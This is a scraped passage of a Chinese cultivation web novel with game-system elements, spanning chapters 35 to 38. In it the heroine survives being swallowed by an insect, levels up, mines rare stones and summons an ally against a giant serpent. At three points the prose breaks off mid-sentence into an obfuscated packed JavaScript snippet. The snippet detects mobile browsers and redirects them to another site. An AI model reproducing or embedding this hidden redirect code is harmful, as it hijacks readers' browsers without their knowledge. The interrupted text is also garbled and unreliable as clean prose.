凭着识海的存在,神魂震荡了会儿,被那丝精神力稳住。滕棠心惊地睁开眼,耳朵嗡鸣,什么都听不见。 [温馨提示,您的队伍均战过低,不建议挑战该26级虫怪。购买使用高级装备,可打出更高伤害。’点击购买’] 她刚头胀地爬起来,发现那只虫子触须波浪似的抖动,蓄力再次鸣叫,攻击大家的神魂。 这次滕棠有所防备,特意引着那丝精神力抵御,没有受到太大冲击。但是梁羽赫他们就不行了,全部被震得七窍流血,步伐紊乱。 滕棠招出热气球,对众人道:“上来!” 但是大家都听不见她说话,所有人的脑袋里只有嗡鸣的长音。那边金丹弟子一个接一个地消失在食人螟嘴里,转眼就仅剩五位。 滕棠没有办法,只好能救一个是一个,于是上前把几个弟子搬起来,丢进热气球篮子里。 在搬到徐扉罗时,她发现对方还有些清醒,往旁边一看,原来是徐扉盛在护着她,不知用的什么法器,他除了脸色发白,行动上并没太大影响。 剩下的金丹弟子的实力都不强,根本招架不住能攻击神魂的食人螟,很快便败下阵来。梁羽赫往后看一眼,摇摇晃晃地搀扶起两名师弟,奔向热气球方位。 没有他阻挡食人螟,那条肥硕的绿虫蠕动过来,触须再次波浪起伏。滕棠一看,大叫不好,那虫子定是蓄了力气,又要鸣叫了。 她本是要后退,回到篮子内。 忽然耳朵能听见点声响,听到梁羽赫在喊她:“滕师妹,小心!” 滕棠朝他望去,身后却被一股力量冲击,瞳孔放大,下一秒,眼睁睁地看着自己离绿虫巨口越来越近,最后落进粘液多刺的黑暗之中。 她浑身灵力迸发,飞刀和大刀插进食人螟的喉壁,两手抓紧刀柄,屏住呼吸。 游戏武器的伤害只能用灵力和灵器减伤,其他外在条件皆可无视,因此在虫子身体内,反而更容易造成伤害。 但虫子等级太高,她即使用系统灵力、武器,也才17级,面对26级的血条,自然是不可能一举消灭。 滕棠被腥黏的液体包裹,那液体有腐蚀的效果,且绿虫的肠壁内布满小刺,每当食人螟吃痛地摆动时,她都会被扎出血,必须花灵石买解毒丹、回血丹,和耗费大量灵力来保护自己。 外面活下来的人都被梁羽赫搬上了热气球,食人螟吃下滕棠后,便停止攻击,一直在扭动身体,似乎很痛苦。 “我们快走。” 徐扉盛找不到操控热气球的阵器,于是从怀里取出一个圆盘,贴在篮子底下,随后将灵石一股脑倒进圆盘内。 惊异的是,原属于滕棠的飞行灵器,竟然在他的圆盘托顶下,开始往天上飞动。 “徐师弟你为何那样做!”梁羽赫满脸是血地揪住徐扉盛的领口,质问道。 “你说我是为了谁?” 徐扉盛轻笑一声,朝那座渐远的山峰看去:“食人螟要吃人,当时若不是我把滕棠推过去,它吃的便是你们三人。大家想感谢滕师妹以命相救,以后便多烧点灵香。” 梁羽赫表情难看,自然知道当时那个情况,自己搀着两个师弟跑不快,而食人螟离他们才两米。他们三个死里逃生,借的就是食人螟立起身,把滕棠吃下的那个空隙。 “师妹救我们一命,你却恩将仇报。” 梁羽赫颓丧地闭上眼,伤心懊悔地说着:“我宁愿当时吃的是我……如果一开始相信滕师妹的话,早点上飞球,就不会有人死了,是我的错。” “行啊,师兄想死就跳下去,我不拦你。”徐扉盛无所谓地指指下方。 徐扉罗吃完灵丹后,好了很多,拉动梁羽赫的袖子,皱眉劝解:“事已至此,再争论无益处。哥哥牺牲滕师妹,救三位师兄,我是赞同的。” 在场的弟子都没发话,心里都知晓,这样做利大于弊,一个炼气四层的师妹换三位金丹期的师兄,根本不需要考虑。 只是苦了滕棠,这会儿热气球被人借走,自己挂在食人螟的喉咙处,被甩来甩去。 她庆幸自己当时扎刀及时,扎的是喉咙,偶尔食人螟痛苦地张口嘶鸣,还有空气进来。且喉咙的粘液没有下方的胃液腐蚀性强,能靠系统的丹药和灵力支撑下去。 没多久,她的手酸得不行,于是御使飞刀,换了个位置扎,由于粘液糊脸,一直闭着眼睛,只能靠五感摸索着往下,所以动作很慢,过了好一会儿,才让双脚有个支撑。 踩在两把飞刀上,滕棠的手臂不再那么累。她抓紧大刀刀柄,每隔一定时间,补充丹药数量,不断提取17级的灵力条,把全身保护好,不留一丝缝隙。 食人螟似乎知晓她还活着,时不时会嗬嗬叫。但滕棠每次都做了防备,用那丝精神力抵挡,在食人螟歇息的时候,她的精神力也能得到恢复,一来二去竟是撑了下去。 多亏食人螟没有太高的灵智,不能精细地操控灵力在肚子里攻击她,就算在腹内攻击,以其粗糙的身体结构,也是伤敌一千自损八百。 系统的灵力条在固定时间内恢复,不断地给滕棠提供充足的灵力,且换上[饮血]套装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032694|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,主副武器造成伤害时,偶尔能反哺她血条,减少回血丹的消耗。 滕棠唯一感到难受的是那粘液,黏糊糊的,很臭。每次虫子张口,她顺便呼吸时,都忍不住想吐。且有粘液在,她既不能张口,也不能睁眼。 [温馨提示,您的坐骑限定·热气球,由于长时间不使用,系统已自动收回。] 这条消息分散了滕棠的注意力,才想起外面还放着热气球,没有她在,梁羽赫他们逃走了吗?食人螟的口里一直没有人进来,说明他们已经安全了吧? 与此同时,远在百里开外,半空中的球囊在一秒内消失。篮子内的众人只觉脚下一轻,整个人往下坠。 幸而金丹筑基都能御剑飞行,互相借力,踩着灵器不至于摔下去。 “怎么回事?”徐扉罗问。 徐扉盛接住空中落下来的圆盘和灵石,四处搜寻,找不到半点飞球的痕迹,表情同样疑惑。 “滕师妹的飞行灵器很是怪异,我看她操控时,手中并无舵盘。”一旁的梁羽赫道。 徐扉盛面色不太好看,他方才还欣喜于拿到滕棠的上品飞行灵器,结果到嘴边的鸭子飞了,一根鸭羽都寻不见。 徐扉盛在附近搜索一番,仍没找到,只好回来,“许是缩小后掉到哪里去了,我们下去看看”,紧接着打开地图,他指向一处,道:“来雾蓝秘境不是飞着玩的,是来寻宝贝的,正好这里多气巨草。” 雾蓝秘境广袤无边,至今没有门派全部探索完。 在往西的某座高峰半腰,一只巨大的食人螟躺在地上挣扎,张着獠牙大口,不停甩动头部。它的身体一天比一天小,软皮的皱纹深纵,像是晒干了的青瓜。 滕棠在它滑腻腻的喉咙上,打出刮痧般的伤害,日盼夜盼希望它早点倒下。奈何它血条实在是厚,过了三天,也不见安生。 时间一点一点地过去,食人螟的内壁虽有小刺,但肠肉是柔软的,不像它的外皮刀枪不入。且它不懂引灵力向内攻击,只会不断发出虫鸣干扰滕棠神魂。 这么耗下去,滕棠亦不好受。天知道她吐了几次,吐到最后胃里空空如也。这三日灵石也花费不少,全拿来买解毒丹和回血丹。 所幸她命是保住了,再坚持一段时间,铁杵磨成针,这巨大的肉虫也能被她刮痧成干虫。只是不知胃里那些弟子情况怎么样,下方胃液腐蚀度颇高,加之没有灵气和空气,恐怕不容乐观。 在虫子体内待了大概四天。这一日,山腰上林木崩断,一条干瘪皮皱的肉虫,蜷缩在一起,咕噜从山上滚下来。 滕棠脑中终于响起系统提示:[斩杀26级虫怪,经验值+55555……] [掉落物品:食人螟的软甲×1、食人螟之目×1000、食人螟妖核×1] [恭喜玩家升至18级!] [获得升级奖励:+9000中品灵石。] [恭喜玩家升至19级!] [获得升级奖励:+10000中品灵石。] 连升两级的喜悦,让滕棠为之一振,手下大刀增加力度,破开灵力溃散的虫肉,开出一个口子来。 她从湿黏黏的虫肉中爬出去,连掐几个净身诀,深深呼吸着外面清新干净的空气。 “呼——,总算出来了。”滕棠踩在没皮的虫肉上,手中的大刀使劲,一点点划开食人螟的肚子。 下方的液体流出来,因腐蚀性太强,刀的磨损度略微下降。滕棠见此,心里越来越不抱希望,但仍然割着虫肉,把食人螟的肚子划开。 在虫的下半身,她找到了七名金丹弟子和五名筑基弟子,皆无一存活,且筑基期弟子的皮肉俱损,看着吓人。 滕棠满脸失望,她以为至少能活一个。 “我会把你们都带回门派。”她对空气说道,随后将他们的尸身装进空荡的储物袋。 要是一开始没有同门师兄师姐在前阻挡,她没防备,倒地不醒的那会儿,估计已经被吞入腹中了。 收拾好同门师兄师姐的尸身,滕棠在附近走了许久,都没见到梁羽赫他们的身影。有试图放热气球出来,飞在空中停留,但是雾气太重,估摸着,那些人也看不清。 “还是没防住徐扉盛,此仇不报非滕棠。”打扮酷似魔人的女子,恶狠狠地一刀砍倒面前的树。 她发了会儿呆,由于没有地图,所以不知身处哪里,去向何处。重新登上热气球,她在附近挑了个林木稍微稀疏的地方下去,打算先寻找等级低一点的妖兽,刷怪升至20级。 她记得,每升十级,系统都会开启新的功能,只是不知新功能是什么,有没有用,开启后运营要耗费多少灵石。 如果和梁羽赫他们在,她可能不会着急升级,毕竟要在秘境中待很长一段时间,如果系统运营太耗费灵石,她的财富没有撑住,会陷入很糟糕的情况之中。 但现在找不到梁羽赫他们,又和徐扉盛结下深仇,只是靠17级和炼气四层的实力,在雾蓝秘境中遇见高等级的妖兽,小命就玩完。 而且她看过[传奇矿石]的活动详情,任务是采各种奇石,矿石品质由系统判定,再奖励抽奖券。采矿石积累到一定数值,会奖励丰富的灵石,宝海内也有大概率抽取到灵石,她可以试着赌一把。 只是这绿野茫茫的森林中,上哪找奇石? 滕棠弯腰捡起两块石头,意料之中,系统没出现任何提示,放进背包里,格子显示的是[含灵气的普通石头]。 如此看来,奇石不是那么好找的。 36. 第 36 章 先升级吧!滕棠把武器都拿出来。 等级的提升和怪加的经验值相关,如果妖兽灵根数量多等级又高,那加的经验自然多。但打怪必须结合自身实力,滕棠不是在玩游戏,一旦失败,面临的是真实死亡。 她小心翼翼地观察环境,自一处较开阔的丛林出发,伏低身子,时刻注意周围动静。 草树长得太过密集,等级标识又是绿色的,想要知道有哪些妖兽在附近,比较困难。 滕棠召唤出她的九色猫,在前方发现几只等级不高的蛇妖。花花绿绿地缠在树上,蛇信嘶嘶,像在交流着什么消息。 确定周围没有太强的妖兽后,滕棠便命九色猫跃过去,率先袭击。她自己绕到后方,从反方向接近。 这些蛇妖都在十六级左右,除了有毒、速度很快外,其他都很好对付。 菱形花纹蛇逃了几条,没跑的胆子比较大,愤怒地昂首咬向九色猫。滕棠要的就是它们反击,这样她才有机会从后面贴近。 她的精神力太弱,只能调出体外一臂范围,太远攻击不到。 九色猫在前吸走注意力,滕棠悄悄在后方踩在飞旋的弯刀上,两步跃过去。识海内的那丝精神力,无声无息地飞出,略过几条蛇妖时,它们明显变得呆滞,蛇口大张着,一直没喷出毒液。 趁此机会,滕棠和九色猫双双出击,一爪两刀,将几条蛇重伤在地。她们从树上跳下去,不断补刀,直至脑海里接连出现提示。 滕棠看了眼经验值,并没加多少。 等级到后面越来越难提升,尤其是过每个十级的门槛,想要升20级,恐怕得花个几天时间。 好在她并不气馁,提着一米大刀,穿着暗红的衣裳,带着一颗KTV彩球,开始在这片区域扫荡。 一天、两天,日子转眼过了近七日,滕棠累得刀都举不起来,神色颇为疲态。她运气甚好,这处稍微开阔的丘陵,多是低级妖兽,只要多费力气刷刷,就能安全无虞地涨经验。 [恭喜玩家升至20级!] [获得升级奖励:+210上品灵石。] [经脉玩法开启] [万物识别功能开启] …… [警告!系统欠债:-234611中品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时一个月!] 又斩杀了条蛇怪后,滕棠惊喜地发现自己升级了,不仅如此,系统增加的玩法功能十分有用。可是……她看向自己财富栏,系统此次增加新功能扣了她1000上品灵石,比以往多很多,再次面临倒闭。 她退出来,眼前的世界多了很多带框的黑体字。有灵智的生物上是绿体字,像花草树木这类很难生灵智的,则都顶着黑色字体。 方才斩杀的蛇妖头顶信息变成灰色,旁边有个三角小点,滕棠下意识把注意力放在小点上,那个三角点在空中自动展开:[舞疽蛇,13级,水土灵根。天赋技能:喷射烂肉毒液,毒牙锋利。] 旁边的花草树木都有信息,密密麻麻一片,让滕棠有些眼花。她眼睛里的世界不再是全绿,而是绿中带黑,和浓雾混在一起,更加复杂难辨起来。 好在万物识别的功能,能辅助她辨别很多东西,也无需去翻书,死背妖兽灵草的名称。更有机会寻找系统需要的奇石,用来完成任务和抽奖,暂时度过她缺灵石的窘境。 除了万物识别的功能,滕棠点开个人界面,那里多出一个[经脉]的选项,打开后,界面上柔弱的美人只留一个轮廓,身形内有数条灰色的经脉,都是她没有冲破开阻的。 每条经脉上都有很多个小点,滕棠点击右上角的小问号,跳出来详细介绍。上方写道,每个点代表一个穴位,穴位连通经脉,只要她用天脉石冲穴,便能改善经脉瘀阻的废柴之体。 “难怪……”滕棠眼眸比刚才还亮,喜不自禁道:“难怪要那么多灵石维持运营,我该早点升到20级。” 修仙者脱胎脱凡,第一步便是筑基灵体,其中经脉尤为重要,不仅承载着灵力的出入,还决定着修行速度。滕棠一直苦于自己经脉不通,系统20级的灵力条被她使出来,威力削减大半,就像别人的身体是个大缸,她是个小酒杯,在灵力的使用上多有吃亏。 滕棠退出来,去商城材料界面,查看上新的物品。在看到天脉石的价格时,她燃起的心又变成了死灰。 冲开经脉,各个穴位对天脉石的需求不尽相同,最少的穴位也要八十一枚,一枚天脉石价值99上品灵石,系统你怎么不去抢。 关闭商城页面,滕棠按印象打开三大宝海,她记得早晨宝海开启时,她看过奖励物品总览,里面就有天脉石这个东西。 翻了半天,低级宝海内没找到,滕棠在中级宝海的末尾和高级宝海的中部,找到天脉石三个字,两个宝海对应的抽奖概率分别为10%和50%。 如果抽奖次数达到一定数值,还能获得相应的累计次数奖励,里面就有少量天脉石,可惜最低的都要抽五百次,滕棠现在一个抽奖券都没有。 买肯定是买不起的,她现在倒欠系统两百三十多上品灵石,另外还要准备一笔备用,哪里有钱买天脉石。 滕棠怀抱九色猫在树上蹲着,穷得开始翻师兄师姐们的储物袋,一边念阿弥陀佛,一边闭着眼睛道:“对不住啊,师兄师姐,等我出去把背包里的东西卖了,一定还你们!” 她是考虑过升到20级,系统会扣很多灵石,但没想过会扣这么多。 数了数大家的灵石,滕棠取一张纸出来,挨个记下数量,由于有些人血肉模糊,有些记不住名,她只能按顺序写下借A师兄多少、B师姐多少。 心里实在过意不去时,便把背包里最近刷的怪掉落物,等价放入他们各自的储物袋里,喃喃道:“师妹有急,先用这些东西跟你们换,等出去了再卖成灵石归还。” 十二人,金丹弟子稍微富裕些,几个筑基弟子比她还穷困。滕棠叹息着自言自语,对某个尸身道:“人生在世不称意,没钱难倒英雄汉,你说是吧?L师姐。” 从A师兄到L师姐,共计借了约七十八万中品灵石,滕棠一一写下数量,额头上冷汗直冒,看似淡定,实则心虚不已。 把系统的负债还清了,还剩下五十五万多中品灵石,财富栏重新变成正数:[0灵髓,552上品灵石,78中品灵石,31下品灵石]。 滕棠挨个谢过他们,想了想,她这储物袋封存效果不好,从秘境出去,大家估计都……她无奈之下,只好整理背包,把大家挨个放进去。 系统背包就像个时间停止器,放进去是什么状态,拿出来还是那个状态。 惋惜的是,她20级固定格子只有200格,之前花钱扩容了50格,仍是不够用。因为每种妖兽不一样,掉落的物品也不一样,要占不同的格子,有的掉落三四种,更费空间。 把师兄师姐放进背包后,滕棠的背包格子就所剩不多了,来雾蓝秘境之前,把所有东西都清光卖出去,现在没地方交易,掉落物只能这么放着。 为了释放空间,她特意挑选那些低廉的妖兽掉落物,放进储物袋内,反正也卖不了几个钱,不用保存得很好。 她的储物袋依旧是外门弟子用的那个,并没有更换,她看了眼师兄师姐们的,储物袋虽好,但死人的她暂时不太想用。 整理好背包后,滕棠不敢往下拉。她胆子大是大,但面对十三张死人脸仍需要勇气,尤其是筑基弟子被食人螟腐蚀过。 这时对比起来,滕棠觉得,开头那张李偲缨的头像,竟是如此好看。 弄完这些,滕棠带着九色猫开始找奇石。 [传奇矿石]的活动持续九个月,期间玩家可自由搜寻奇石,若是运气好,找到的奇石多,兴许还能获得额外奖励。 滕棠自从选择参加活动后,她的头顶上就一直顶着“普通矿工”的字样,只是旁人看不到罢了。 普通矿工-中级矿工-高级矿工-挖矿奇才-矿神,每达成一个成就,能获得相应的奖励。滕棠很想把所有奖励都拿下,但这个不是她想就能,而是要看运气。 蓝色的雾气在万山丛林里徘徊,在空中缠绕成霁色烟海,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032695|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有一网打尽。森林寂静多瘴气,溪流潺潺在山间流动,冲刷过沧桑的石子。 眼睛里除了浓稠的雾,全是苍翠的草木,或是黑色的标字,滕棠在附近找了很久,看到的石头要么叫[普通石头],要么叫[含灵气的普通石头],就是不见[奇石]二字。 既然奇石是矿石,她是不是该往地下探。滕棠暗想,露天矿稀少,即使有,也会被喜好炼器之人发现捡走。 又要打洞么?想起在第三死门内的黑暗日子,滕棠惆怅地摇晃脑袋。 脑子虽然不愿意,但是双手已经不由自主地开始刨地。九色猫喵叫一声,乖巧地学着主人的动作。 可能是之前有过经验,这次滕棠刨起土来,动作十分熟练,不一会儿就挖出一条地道。 进入地道后,她发现,她头顶多了个东西。取下来一看,是现代世界那种带灯的头盔,明明暗暗地照亮左前方的泥土。此外,头顶上多了个状态信息:[探索奇石中……] 滕棠傻眼,把头盔戴回去,顺着灯光指示的方向继续挖,又挖了百米左右,大刀咚咚撞到个石头。 刨出来一瞧,是块拳头大的浅蓝石头。 [低级奇石,雾蓝灵石,规格:中。]系统自动把石头捡走,跳出一个方框:[恭喜获得低级抽奖券×2]。 这么容易?滕棠兴奋劲一起来,压都压不住。 她开始神采焕发,开始摩拳擦掌,提起大刀,龙精虎猛地继续深挖。 从一块到两块,尽管都是低级的奇石,可滕棠仍然挖得很高兴。她似乎有种上瘾的感觉,一挖就停不下来,把自己搞得泥头泥脸,连脚边的猫都不亮了。 在地下打洞大约一周之后,她听到叮的一声提示,原来低级奇石加的经验,已经足够她晋升为[中级矿工]。 滕棠点开活动界面,把所有低级券抽完,抽了一堆没什么用的普通衣服、普通装饰、普通食物,还有很多是重复的。 没抽到灵石、丹药,她并没有灰心丧气,心想,一次不行我就抽两次,天天挖矿,我不信挖不到高级的。 抱着这样乐观的心态,她领取[中级矿工]的名称和奖励。奖励是一套挖矿工具,能提升挖洞速度,滕棠试了之后,感到很满意。 一时更加渴望之后的物品,高级矿工送挖掘小车,速度更快;挖矿奇才,送高级探照灯,能探寻五百米范围内的奇石;矿神则更加风光,赠送一套[永久限定·矿神金装],穿上它不仅能在活动期间,更大范围、更快速地寻找奇石,还能在活动以后保留。 这套金装是滕棠最想要的,因为金装附带一个10秒的技能[铁壁铜墙],能免除玩家在10秒内受到的所有攻击,对她这种菜狗来说,简直是保命神器。 想要把金装拿到手,就要努力打洞。 滕棠再次发扬踔厉,夙夜匪懈地和九色猫挖石土,日复一日,月复一月,别人在上面寻宝、打架,她一个人孜孜不倦地在地下挖矿。 越挖越深,从低级奇石,挖到中级奇石,滕棠感觉自己要把地心挖穿。但与之相反,她在三大宝海抽的,大多数都是无用之物。 “我就不信,我挖不到高级奇石!”她喃喃自语着。 中级宝海的物品里,仍有许多普通饰物,很容易抽到,且不断重复。但高级宝海不同,里面最差的奖励也是×99中品灵石。 连挖五个月,滕棠感觉自己挖的奇石都白喂了系统这个狗。抽了一堆没用的,数了数,低级加中级抽奖券,一共5000抽,只抽到一些中下品灵石,一个天脉石都没抽到,[绯烈焰]装备材料也只抽到两块火焰石,其余的更不要肖想。 打开累计抽奖次数一栏,滕棠领走几十上品灵石和五块天脉石,不怿道:“挖出奇石,瞬间拿走,我要个天脉石,抠抠搜搜。” 不过还是有一件安慰之事,历经五个月,她现在已经是[挖矿奇才],想要晋升为[矿神],只差挖出高级奇石。 浑身黑得快跟土地融为一体,滕棠打起亿万分的精神,灰头土脸地继续挖。她就不信了,她偏要挖出一块高级奇石。 37. 第 37 章 系统赠送的挖土机很奇妙,外观看起来是机械结构,但敲起来,里面却是实心的,像是一个用不同材料方块拼接在一起的模具。 滕棠穿着一身银色甲衣,抱起泥猫坐在里头,悠闲地摇动操作杆,往坚硬的石土掘去。 她扯了扯储物袋,以期它能多装点。里面装的土又快满了,必须尽快到地面上去堆放。 挖掘机需要手动操作,比较便捷的是,无论前方的土多硬或者厚实,它都能挖碎,开凿出一条一人高的通道。 这一点省了滕棠不少力气,回想起前四个月,她用双手劳作那会儿,每日都苦不堪言。 但也并不是全无好处,四个月下来,她明显察觉自己体质增强,一米长的大刀掂在手中,轻轻松松。且自己个人信息的基础数值略有增长,特别是生命、速度和防御三项,涨了超过一百点。 最近这一个月,晋升为[挖矿奇才]后,滕棠不需要再自己动手,曲腿坐在挖掘机上颇不自在,她的两手必须抓点什么,或者做点什么事才能心安,于是就把猫撸秃了…… 痛快地在地下穿梭,眼看挖来凿去,这片地带再也找不到中级奇石,只零星几块低级奇石,头上的银色明灯很少闪亮,滕棠不得已向幽深的地下深入。 许是上天眷顾,又或者她太过勤奋,在挖到两千米深处时,隔着厚厚的土层,她听见泠泠水响,清脆得仿佛有上千块玉石在琤琤碰击。 以为是幻听,滕棠笨拙地下去,贴着耳朵趴地上,仔细听了会儿,确定底下有很小的湍水流动声,微弱的瓮音传递进耳朵内,距离似乎很远。 [挖矿奇才]赠送的套装异常沉重,名为[限时·银色甲衣],能够增加防御力,避免被厚土埋压受伤,还有个娱乐功能,穿上它说话会自动变成机器人的声音。 滕棠身形纤瘦,穿在身上,似是一个不锈钢做的钢铁侠,她每动一下,都会发出叽吱叽吱的响声。 她起身登上挖掘机,大起胆子往深处挖。 挖掘机的铲斗所碰到的石头或硬土,皆自动破碎,变成各种形状的方石,堆到铲斗中央,再经过滕棠灵力的拉拽,落入她的储物袋之中。 厚厚的土层,全部变成哗啦啦的石头。没一会儿,滕棠听见咚咚的石子落水声,于是把挖掘机收起,顶着头上黯淡的灯,走过去看。 穿戴上[挖矿奇才]所赠送的套装,探索奇石的范围是方圆三里,甫一接近黑漆漆的洞口,滕棠发现自己把什么挖穿了。 灯往下照,她慌忙后退两步。 下方确实有水,深有几百米,如若她方才没停止挖掘机的前进,此刻恐怕已经掉下去了。 虽说有灵力在身,又穿着防御力高的银色甲衣,但滕棠还保留着上辈子的习惯,条件反射性地害怕站在高处。 地下为什么有这么空旷的地穴,滕棠疑惑不解。由于环境太黑,九色猫的光和头上的光照不到太远,她这会儿看不清下方有什么东西。 如果系统的标识能再亮点就好了,她这么想着。 把头盔取下来,御使两柄弯刀,架着头盔往前方飞去。五色灵力包裹副武器,越远越淡,由粗糙的两团变为精细的两缕,在滕棠入微的操控下,飞得更远。 前面一无所有,飞了很久都没碰到石壁,停在远方五百米处时,灯光骤然明亮,直直射向东部。 以灯光的强度来看,东部的奇石要么数量众多,要么等级更高。 滕棠心里一高兴,便命九色猫贴墙爬下去,同时架着头盔回来,在半空中照亮。 石壁湿滑无比,九色猫好几次差点直接掉下去,黑黝黝的地穴下方,水声幽响。滕棠动了动被银色甲片覆盖的十指,借着微弱的光,一点点往下爬。 她的鞋子和双手皆是利器,可以轻而易举地插入石壁之中,使她能保持平衡,一步一步往下降。 下了近五百米,离地穴水面仅两米距离时,滕棠发现这下方的水并不深,只是流动得比较急,蹚水流过去,才堪堪没过小腿。 有了银色甲衣,不用担心水会冰凉刺骨,她抱着九色猫,笨重地逆流而上。头上的灯还没有反应,只能勉强照亮周围二十米的范围。 地穴的面积十分广大,地形凹凸不平,稍不注意就容易绊脚摔倒,或者陷进深水池中。滕棠边走边摸索,奇石没找到,仅发现一尾活蹦乱跳的妖鱼。 鱼在她脚踝处游来游去,咬了几次都咬不动。她面不改色地把妖鱼解决掉,按着印象中刚才灯发生变化的位置走。 大概走了七八百米,头上的照明灯忽然聚光成束,在黑暗中形成一条笔直的光线,斜射向她的右方。 滕棠忙转过身,一边警惕四周,一边跟着灯光的指示走。 这地方灵气氧气皆充足,既然有鱼妖,说不定有其他妖兽在。 黝黯的四周阒寂无声,东行一百米,地势开始平坦,水流变浅变慢,流动范围扩大,再也踩不到干净的地。 这么深的地穴,竟然会有风,从对面一阵一阵吹来,沨沨如铃。 滕棠抬手,扭动头盔顶上的圆球灯泡,让那束光左右晃动,照向更多范围。 平静的水流,倏然一波一波被推过来,冲刷她坚硬的外壳。光束随手腕的扭动,蛇形晃过前方的黑暗。 远处依旧照不到石壁,黑洞洞的环境里,手上的光偶然闪过一点不同之处。 滕棠移回去,发现是块浅黄的大石头,仔细看,黄石头很是澄澈,周围泛白,中央有紫色的粗糙竖线。 有那么一下,光束对准的大石头黑了半秒。 滕棠愣住,瞬间脑子里闪过某种猜测。 沨沨声逐渐变大,水流浪花般打过来,浓重的呼哧呼哧鼻音,在地穴内回响,一切都昭示着前面的不同寻常。 人对于未知和黑暗的恐惧,是与生俱来的。 在前面动静变大时,滕棠心脏猛地一紧,死亡的气息压制着她的喉咙,让她喘不过气。 头上的光束晃动,须臾照到最顶上巨大无比的绿色字体。虽然没仔细看那是多少,但开头的半边数字5,已经足够她惊慌失措地逃命。 滕棠无暇去想背后的妖兽是什么,她在脑子里点了几次[热气球],无奈收到提示:[玩家所处地图高度不够,暂时无法使用]。 逃怎么可能逃得过五十多级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032696|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的boss? 想到此,滕棠止步,在轰隆隆的声响中,决定浪费一张[强制召唤卡]。是生命更重要,还是脸皮更重要,她选择前者。 由于四个月前发现万象只能召唤20秒,她一直没和此人联系过。20秒能做什么?自我介绍都来不及讲完…… 屠丹是元婴,也不认识。滕棠第一反应依旧是杀浮,谁让这位大佬名字凶恶,为人却是个热心肠的,帮过她几次,面上从未露出过一点厌恶的神色。 且上次,不仅把她送出阵外,还让那条九头蛇甘心服软。 “我这是什么狗屎运,何德何能结契到三位大佬。” 喃喃自语念了句,杀浮就闪身出现在五米之外。 他好像熟悉了流程和套路,没关心这里为何这么黑,一来,第一问:“你在哪?” 左是一只蛟蛇,右是一只……他用费解的目光看向右边。 身穿银光闪闪的铠甲、头顶白色光束的滕棠,提起沉重的双足,一步一步笨拙地朝他奔去,高兴道:“大佬,救救我!” 本是柔美的声线,经过[银色甲衣]的自动适应,透出去,便成了平稳没有起伏的机器人声。 滕棠满面微笑,奔跑向她的救星。 谁料,迎接她的不是大佬的一声“好”,而是一把精光乍放的灵剑,刺啦划破她的臂壳,见到里面的青色衣衫时,再一转挑开她的头盔。 “……” 方才那一秒,把滕棠吓得狂冒汗,她实实在在地感受到了杀意,比脚下的冷水还刺骨冰冷。 “滕棠?”杀浮低沉稍厚的声音,把她的魂唤回来。 “是我是我。” 滕棠连连点头,生怕他再认错。脚下的头盔还在向东边发射光线,她这才反应过来,是自己搬起石头砸自己的脚。 “你身上是什么东西,方才我感应不到符契的存在。” 黑暗里,杀浮随意向背后一招手,那条蛟蛇便颤颤巍巍地游过来,一副悉听尊便的乖巧模样。 “有么?”滕棠弯腰捡起头盔戴上,察觉到系统是存在bug。一旦穿上活动套装,杀浮对她的符契感应会消失。 “我马上消失。”杀浮双手结出复杂的印,一个一个打进蛟蛇的头内。“给我一滴你的精血。” 一分钟太短,根本来不及多说几句话,滕棠手忙脚乱地挤出一滴精血,递给他。 不出片刻,滕棠感觉到有个东西跑进自己的丹田,和上次跟朱牧隶下挑战书时很像。 “我对此蛟蛇下了兽印,为你所用,切记善待。” 杀浮嘱托完这一句话,很快消失在原地。 黑漆漆的地穴中,还回荡着他刚正不怍的声音。滕棠动了动鼻子,除了冰流的淡淡腥味,她还闻到类似山泉森木的气息。 杀浮出现得快,离开得快。滕棠懊悔,自己又忘了跟他诚挚道谢。 她擦干净头盔上的水,往前走几步,砰——,撞到一堵墙,双手举着头盔一点点照去。 从墙的这面照到那面,滕棠仰着脖子,光束停留在十米高处,那儿有一块巨大的圆石,不,应该说是蛟蛇的瞳目。 38. 第 38 章 吭呼—— 她正好站在蛟蛇头前,对方鼻息一喷,险些把她吹倒。 头发往后扬得生疼,脸上、衣服上全是水,手往前伸,什么都没摸到。 蛟蛇大到难以想象,滕棠借着光束照了半天,未看清它的全貌,只知道它通体漆黑的,身上没有鳞片,皮肤粗糙坚硬,如同附近的黑色石壁。 它头上的字标同样很大,要晃动灯光好几下才能看完那个[52级]的数字。 滕棠把注意力集中在右边的三角小点上,空中列出几排大字:[付岚山,雄,52级,地蛟蛇,水灵根,变异风灵根。天赋技能:蛟龙水柱、鼻息风暴。] 